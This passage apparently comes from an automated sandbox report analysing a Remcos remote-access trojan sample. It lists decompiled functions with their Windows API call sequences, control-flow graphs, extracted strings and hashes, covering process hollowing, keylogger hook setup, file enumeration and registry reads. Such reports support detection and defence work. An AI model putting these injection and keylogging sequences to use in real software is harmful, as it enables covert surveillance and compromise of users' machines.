                                                                                              • Part of subcall function 0041BEEE: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040D856), ref: 0041BFF0
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BFF3
                                                                                              • Part of subcall function 0041BEEE: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040D856), ref: 0041C000
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041C003
                                                                                              • Part of subcall function 0041BEEE: LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040D856), ref: 0041C011
                                                                                            • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe,00000104), ref: 0040D863
                                                                                              • Part of subcall function 0040FD92: __EH_prolog.LIBCMT ref: 0040FD97
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                                                                                            • String ID: SG$0TG$Access Level: $Administrator$C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe$Exe$Exe$Inj$PSG$PSG$Remcos Agent initialized$Rmc-A5VKNH$Software\$User$dMG$del$del$exepath$h&y$hSG$licence$license_code.txt
                                                                                            • API String ID: 2830904901-1309094667
                                                                                            • Opcode ID: b88ade2efb9935924d9f1e91fcb88ecc9951a72137c67394bcd0f08ed8650d71
                                                                                            • Instruction ID: b96e9d53b64ce9762df997b7c443b274fb73bccd3fe431706256fac2145036cf
                                                                                            • Opcode Fuzzy Hash: b88ade2efb9935924d9f1e91fcb88ecc9951a72137c67394bcd0f08ed8650d71
                                                                                            • Instruction Fuzzy Hash: 2E32C760B043406ADA14B776DC57BBE259A9F81748F00483FB9467B2E2DEBC9D44C39E
                                                                                            Function 0041742B Relevance: 61.5, APIs: 29, Strings: 6, Instructions: 290nativelibraryloaderCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 449 41742b-417448 450 41744c-4174bf GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 449->450 451 4177b3 450->451 452 4174c5-4174cc 450->452 453 4177b5-4177bf 451->453 452->451 454 4174d2-4174d9 452->454 454->451 455 4174df-4174e1 454->455 455->451 456 4174e7-417513 call 436260 * 2 455->456 456->451 461 417519-417524 456->461 461->451 462 41752a-41755a CreateProcessW 461->462 463 417560-417588 VirtualAlloc Wow64GetThreadContext 462->463 464 4177ad GetLastError 462->464 465 417779-4177ab VirtualFree GetCurrentProcess NtUnmapViewOfSection NtClose TerminateProcess 463->465 466 41758e-4175ae ReadProcessMemory 463->466 464->451 465->451 466->465 467 4175b4-4175d4 NtCreateSection 466->467 467->465 468 4175da-4175e7 467->468 469 4175e9-4175f4 NtUnmapViewOfSection 468->469 470 4175fa-41761c NtMapViewOfSection 468->470 469->470 471 41765d-417684 GetCurrentProcess NtMapViewOfSection 470->471 472 41761e-41764c VirtualFree NtClose TerminateProcess 470->472 474 417777 471->474 475 41768a-41768c 471->475 472->451 473 417652-417658 472->473 473->450 474->465 476 417695-4176bc call 435ce0 475->476 477 41768e-417692 475->477 480 4176fc-417706 476->480 481 4176be-4176c8 476->481 477->476 483 417724-417728 480->483 484 417708-41770e 480->484 482 4176cc-4176ef call 435ce0 481->482 494 4176f1-4176f8 482->494 487 41772a-417746 WriteProcessMemory 483->487 488 41774c-417763 Wow64SetThreadContext 483->488 484->483 486 417710-417721 call 417837 484->486 486->483 487->465 492 417748 487->492 488->465 489 417765-417771 ResumeThread 488->489 489->465 493 417773-417775 489->493 492->488 493->453 494->480
                                                                                            APIs
                                                                                            • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00417472
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 00417475
                                                                                            • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 00417486
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 00417489
                                                                                            • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041749A
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041749D
                                                                                            • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 004174AE
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 004174B1
                                                                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00417552
                                                                                            • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041756A
                                                                                            • Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00417580
                                                                                            • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 004175A6
                                                                                            • NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000), ref: 004175CC
                                                                                            • NtUnmapViewOfSection.NTDLL(?,?), ref: 004175F4
                                                                                            • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00417614
                                                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00417626
                                                                                            • NtClose.NTDLL(?), ref: 00417630
                                                                                            • TerminateProcess.KERNEL32(?,00000000), ref: 0041763A
                                                                                            • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00417671
                                                                                            • NtMapViewOfSection.NTDLL(?,00000000), ref: 0041767C
                                                                                            • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041773E
                                                                                            • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0041775B
                                                                                            • ResumeThread.KERNEL32(?), ref: 00417768
                                                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00417780
                                                                                            • GetCurrentProcess.KERNEL32(?), ref: 0041778B
                                                                                            • NtUnmapViewOfSection.NTDLL(00000000), ref: 00417792
                                                                                            • NtClose.NTDLL(?), ref: 0041779C
                                                                                            • TerminateProcess.KERNEL32(?,00000000), ref: 004177A5
                                                                                            • GetLastError.KERNEL32 ref: 004177AD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$Section$AddressHandleModuleProcView$ThreadVirtual$CloseContextCreateCurrentFreeMemoryTerminateUnmapWow64$AllocErrorLastReadResumeWrite
                                                                                            • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$`ou$ntdll
                                                                                            • API String ID: 3150337530-1235647125
                                                                                            • Opcode ID: ca58d074774f4cb3cec8caed2bdcc8ae3fb1cd477b48ba63cf2103ffe40dc484
                                                                                            • Instruction ID: 9d7e092ec3b05a7a521957261ed1896ff906ab06cfb84d00d3f911d9ff722cfe
                                                                                            • Opcode Fuzzy Hash: ca58d074774f4cb3cec8caed2bdcc8ae3fb1cd477b48ba63cf2103ffe40dc484
                                                                                            • Instruction Fuzzy Hash: C3A16D71508304AFD710DF65CD89B6B7BF8FB48345F00082EF699962A1DB75E884CB6A
                                                                                            Function 004099E4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65windowCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1807 4099e4-4099fd 1808 409a63-409a73 GetMessageA 1807->1808 1809 4099ff-409a19 SetWindowsHookExA 1807->1809 1810 409a75-409a8d TranslateMessage DispatchMessageA 1808->1810 1811 409a8f 1808->1811 1809->1808 1814 409a1b-409a61 GetLastError call 41af51 call 404c9e call 401f66 call 41a891 call 401eea 1809->1814 1810->1808 1810->1811 1812 409a91-409a96 1811->1812 1814->1812
                                                                                            APIs
                                                                                            • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00409A01
                                                                                            • SetWindowsHookExA.USER32(0000000D,004099D0,00000000), ref: 00409A0F
                                                                                            • GetLastError.KERNEL32 ref: 00409A1B
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00409A6B
                                                                                            • TranslateMessage.USER32(?), ref: 00409A7A
                                                                                            • DispatchMessageA.USER32(?), ref: 00409A85
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                                                            • String ID: Keylogger initialization failure: error $`ou
                                                                                            • API String ID: 3219506041-93350570
                                                                                            • Opcode ID: 9ea70ca9165638273d53838a13d46fe3c5bbd67a626d3be23efaba2d8cae5fa3
                                                                                            • Instruction ID: 916e88852ed13b3ab14e3660f0b3d121b0d8821096f38c6baae7fa71b0b7a026
                                                                                            • Opcode Fuzzy Hash: 9ea70ca9165638273d53838a13d46fe3c5bbd67a626d3be23efaba2d8cae5fa3
                                                                                            • Instruction Fuzzy Hash: 6D118271604301AFC710BB7A9C4996B77ECAB94B15B10057EFC45E2191EE34DA01CBAA
                                                                                            Function 100010F1 Relevance: 12.1, APIs: 8, Instructions: 88stringfileCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1849 100010f1-10001166 call 10002c40 * 2 lstrlenW call 10002c40 lstrcatW lstrlenW 1856 10001177-1000119e lstrlenW FindFirstFileW 1849->1856 1857 10001168-10001172 lstrlenW 1849->1857 1858 100011a0-100011a8 1856->1858 1859 100011e1-100011e9 1856->1859 1857->1856 1860 100011c7-100011d8 FindNextFileW 1858->1860 1861 100011aa-100011c4 call 10001000 1858->1861 1860->1858 1863 100011da-100011db FindClose 1860->1863 1861->1860 1863->1859
                                                                                            APIs
                                                                                            • lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                                                                                            • lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001151
                                                                                            • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                                                                                            • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                                                                                            • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                                                                                            • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                                                                                            • FindNextFileW.KERNELBASE(00000000,00000010), ref: 100011D0
                                                                                            • FindClose.KERNEL32(00000000), ref: 100011DB
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: lstrlen$Find$File$CloseFirstNextlstrcat
                                                                                            • String ID:
                                                                                            • API String ID: 1083526818-0
                                                                                            • Opcode ID: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                                                                                            • Instruction ID: 89aa6ca17049c9a574106098fd68ded4b08ae6dd255c3979a52dcbc6bb9ed716
                                                                                            • Opcode Fuzzy Hash: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                                                                                            • Instruction Fuzzy Hash: D22193715043586BE714EB649C49FDF7BDCEF84394F00092AFA58D3190E770D64487A6
                                                                                            Function 0040E627 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 88sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041258F: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004125AF
                                                                                              • Part of subcall function 0041258F: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,00475308), ref: 004125CD
                                                                                              • Part of subcall function 0041258F: RegCloseKey.KERNEL32(?), ref: 004125D8
                                                                                            • Sleep.KERNEL32(00000BB8), ref: 0040E6DB
                                                                                            • ExitProcess.KERNEL32 ref: 0040E74A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseExitOpenProcessQuerySleepValue
                                                                                            • String ID: 6.0.0 Pro$h&y$override$pth_unenc
                                                                                            • API String ID: 2281282204-3646862316
                                                                                            • Opcode ID: e48c5bd0e5f8f7b978d8bdbd670fe216713c81f394539d974a824bf7a4ef8053
                                                                                            • Instruction ID: 41eca1b412dc6cb4cbd69e66e1420b1d2a9bda06de9f36a729d5cd10817e4b5d
                                                                                            • Opcode Fuzzy Hash: e48c5bd0e5f8f7b978d8bdbd670fe216713c81f394539d974a824bf7a4ef8053
                                                                                            • Instruction Fuzzy Hash: A821D131F1420027D60876778857B6F399A9B81719F90052EF819A72E7EEBD9E1083DF
                                                                                            Function 00410BF1 Relevance: 7.7, APIs: 5, Instructions: 198memoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00410691: SetLastError.KERNEL32(0000000D,00410C10,?,00000000), ref: 00410697
                                                                                            • GetNativeSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00410BED), ref: 00410C9C
                                                                                            • GetProcessHeap.KERNEL32(00000008,00000040,?,?,00000000), ref: 00410D02
                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410D09
                                                                                            • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00410E17
                                                                                            • SetLastError.KERNEL32(000000C1,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00410BED), ref: 00410E41
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$Heap$AllocInfoNativeProcessSystem
                                                                                            • String ID:
                                                                                            • API String ID: 3525466593-0
                                                                                            • Opcode ID: 5b761030cf84cfef50a77e8f1fc708b710696a941d42968a3fbf92de24ca1f36
                                                                                            • Instruction ID: e2f64966b18619331c3eea81ef564f6afd9e4387f8ea08f62d3b86939114ae32
                                                                                            • Opcode Fuzzy Hash: 5b761030cf84cfef50a77e8f1fc708b710696a941d42968a3fbf92de24ca1f36
                                                                                            • Instruction Fuzzy Hash: 8E61E570200305ABD710AF56C981BA77BA5BF84308F04451EF909CB382DBF8E8D5CB99
                                                                                            Function 00404915 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60timethreadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLocalTime.KERNEL32(00000001,00474EE0,004755B0,00000000,?,?,?,?,?,00414F1C,?,00000001), ref: 00404946
                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EE0,004755B0,00000000,?,?,?,?,?,00414F1C,?,00000001), ref: 00404994
                                                                                            • CreateThread.KERNEL32(00000000,00000000,00404B1D,?,00000000,00000000), ref: 004049A7
                                                                                            Strings
                                                                                            • KeepAlive | Enabled | Timeout: , xrefs: 0040495C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Create$EventLocalThreadTime
                                                                                            • String ID: KeepAlive | Enabled | Timeout:
                                                                                            • API String ID: 2532271599-1507639952
                                                                                            • Opcode ID: e69f72244b80d147294e6ef32d49789f7d1ddde9c976fc2264abb3805a30a9ae
                                                                                            • Instruction ID: 334fa9fd2124ebc6c4f40b6d461b17bc354faf393a4ed588a06a33f3771f6744
                                                                                            • Opcode Fuzzy Hash: e69f72244b80d147294e6ef32d49789f7d1ddde9c976fc2264abb3805a30a9ae
                                                                                            • Instruction Fuzzy Hash: 1611E3B19052547ACB10A7BA8849BDB7F9CAB86364F00007FF50462292DA789845CBFA
                                                                                            Function 0040455B Relevance: 4.5, APIs: 3, Instructions: 28synchronizationnetworkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,0040460E,00000000,?,?), ref: 0040456A
                                                                                            • SetEvent.KERNEL32(?,?,?,0040460E,00000000,?,?), ref: 00404588
                                                                                            • recv.WS2_32(?,?,?,00000000), ref: 0040459F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: EventObjectSingleWaitrecv
                                                                                            • String ID:
                                                                                            • API String ID: 311754179-0
                                                                                            • Opcode ID: e9776599d1ec220d30db4bf84b70fc35cad7659389b29cba8a531b5175ba4202
                                                                                            • Instruction ID: 6eb9ccf7f7f4a74ce0fca17a02289a90418c2efed9003feaedd78b13c881e648
                                                                                            • Opcode Fuzzy Hash: e9776599d1ec220d30db4bf84b70fc35cad7659389b29cba8a531b5175ba4202
                                                                                            • Instruction Fuzzy Hash: ABF08236108612BFD7015B10EC08E1AFBA2FB88721F20862EF611612A19F71EC21DB59
                                                                                            Function 0041A9AD Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetComputerNameExW.KERNEL32(00000001,?,0000002B,004750FC), ref: 0041A9CA
                                                                                            • GetUserNameW.ADVAPI32(?,0040E096), ref: 0041A9E2
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Name$ComputerUser
                                                                                            • String ID:
                                                                                            • API String ID: 4229901323-0
                                                                                            • Opcode ID: c38e36c8d41ee46761b6a4ad2d0e2b40601694a6c822a335d006f55048ef3fa5
                                                                                            • Instruction ID: dd4171341b6269d20eef4dfb17ad31a68228dcd82fcdc0eb213b330dd994abd5
                                                                                            • Opcode Fuzzy Hash: c38e36c8d41ee46761b6a4ad2d0e2b40601694a6c822a335d006f55048ef3fa5
                                                                                            • Instruction Fuzzy Hash: 16014F7290011CAADB00EB90DC49ADDBB7CEF44315F10016AB502B3195EFB4AB898A98
                                                                                            Function 0040E751 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004146BA,00474EE0,00475A38,00474EE0,00000000,00474EE0,?,00474EE0,6.0.0 Pro), ref: 0040E765
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: InfoLocale
                                                                                            • String ID:
                                                                                            • API String ID: 2299586839-0
                                                                                            • Opcode ID: 4f63efff100e8568bd7427ee403b69b99ebb5287ae6166f5ca37386f2dc94b8d
                                                                                            • Instruction ID: 426317967f55bc2b8d076a22fb2a8dcf1c85f3a8f112093483d3870effb55d88
                                                                                            • Opcode Fuzzy Hash: 4f63efff100e8568bd7427ee403b69b99ebb5287ae6166f5ca37386f2dc94b8d
                                                                                            • Instruction Fuzzy Hash: A6D05E607002197BEA109691CC0AE9B7A9CE700B66F000165BA01E72C0E9A0AF048AE1
                                                                                            Function 004140AC Relevance: 53.4, APIs: 5, Strings: 25, Instructions: 855sleepnetworkCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 496 4140ac-4140f7 call 401faa call 41ac7e call 401faa call 401d64 call 401e8f call 43a7f7 509 414106-414154 call 401f66 call 401d64 call 401fbd call 41b1ce call 404262 call 401d64 call 40b125 496->509 510 4140f9-414100 Sleep 496->510 525 414156-4141c5 call 401d64 call 4022f8 call 401d64 call 401e8f call 401d64 call 4022f8 call 401d64 call 401e8f call 401d64 call 4022f8 call 401d64 call 401e8f call 404101 509->525 526 4141c8-414262 call 401f66 call 401d64 call 401fbd call 41b1ce call 401d64 * 2 call 4085b4 call 4027cb call 401eef call 401eea * 2 call 401d64 call 405422 509->526 510->509 525->526 579 414272-414279 526->579 580 414264-414270 526->580 581 41427e-41431a call 40541d call 404cbf call 405ce6 call 4027cb call 401f66 call 41a891 call 401eea * 2 call 401d64 call 401e8f call 401d64 call 401e8f call 414072 579->581 580->581 608 414367-414375 call 4041f1 581->608 609 41431c-414362 WSAGetLastError call 41be81 call 404c9e call 401f66 call 41a891 call 401eea 581->609 614 4143a2-4143b7 call 404915 call 40428c 608->614 615 414377-41439d call 401f66 * 2 call 41a891 608->615 631 414ce6-414cf8 call 4047eb call 4020b4 609->631 614->631 632 4143bd-41450a call 401d64 * 2 call 404cbf call 405ce6 call 4027cb call 405ce6 call 4027cb call 401f66 call 41a891 call 401eea * 4 call 41ab78 call 41375b call 4082dc call 440e5e call 401d64 call 401fbd call 4022f8 call 401e8f * 2 call 412735 614->632 615->631 645 414d20-414d28 call 401d8c 631->645 646 414cfa-414d1a call 401d64 call 401e8f call 43a7f7 Sleep 631->646 696 41450c-414519 call 40541d 632->696 697 41451e-414545 call 401e8f call 4125eb 632->697 645->526 646->645 696->697 703 414547-414549 697->703 704 41454c-414c4d call 403b40 call 41aff9 call 40cc9a call 41b0d3 call 40cbf1 call 41aff9 call 41b0d3 call 41af51 call 401d64 GetTickCount call 41af51 call 41aeab call 41af51 * 2 call 41ae5d call 41b0d3 * 5 call 40e751 call 41b0d3 call 4027ec call 40275c call 4027cb call 40275c call 4027cb * 3 call 40275c call 4027cb call 405ce6 call 